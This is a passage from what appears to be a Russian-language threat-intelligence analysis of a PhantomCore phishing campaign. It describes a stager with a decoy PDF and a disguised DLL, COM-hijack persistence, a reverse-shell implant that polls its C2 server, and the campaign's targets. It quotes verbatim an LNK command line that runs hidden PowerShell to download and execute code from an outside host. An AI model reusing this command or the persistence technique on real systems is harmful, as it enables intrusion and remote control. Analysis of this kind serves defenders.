Стейджер выполняет следующие действия.
Через Net.WebClient загружает PDF-приманку с именем Proekt_dogovora_na_vypolnenie_rabot.pdf, сохраняет во временный каталог пользователя и сразу открывает. Параллельно загружает второй файл, замаскированный под текстовый документ, и сохраняет как C:\ProgramData\USOShared\USOCachedData.txt. Несмотря на расширение .txt, это PE-библиотека.
Далее через реестр формируется пользовательская COM-привязка: в ветке HKCU\Software\Classes\CLSID\{C53E07EC-25F3-4093-AA39-FC67EA22E99D}\InprocServer32 в значение (Default) подставляется путь к загруженной библиотеке.
Загруженная библиотека USOCachedData.dll реализует функциональность реверс-шелла. На старте имплант формирует уникальный идентификатор узла, после чего собирает первичные атрибуты окружения:
- имя узла;
- локальный IPv4-адрес;
- DNS-сервер;
- DNS-домен.
Эти данные агрегируются в JSON и отправляются в управляющую инфраструктуру по HTTPS как часть первичной регистрации. Далее имплант переходит в режим периодического опроса C2-сервера: при получении ответа с командой выполняет ее на узле и возвращает результат, после чего выдерживает паузу около 30 секунд и повторяет запрос на получение следующего задания.
Конструкция запуска полезной нагрузки с использованием LNK-файлов наблюдалась в более ранних операциях PhantomCore. Например, в январской кампании использовался ярлык «ТЗ на согласование сб 54 от 19.01.26.docx.lnk» со схожей командной строкой:
/c FOR /f "tokens=4 delims=s\" %g in ('set^|findstr PSM') do cmd /c
for /f "tokens=*" %j in ("%g -WindowStyle Hidden -c (New-Object Net.WebClient)
.DownloadString('https://metelkova.ru/wp-includes/post-template.html')")
do %g -WindowStyle Hidden "%j"
В январе рассылка была направлена на российские организации из сфер ЖКХ, финансов, городской инфраструктуры и муниципальных услуг, аэрокосмической отрасли, потребительских цифровых сервисов, химической промышленности, строительства, производства потребительских товаров, а также электронной коммерции и маркетплейсов. В качестве полезной нагрузки второй стадии в январской кампании вместо DLL применялось ВПО на PowerShell.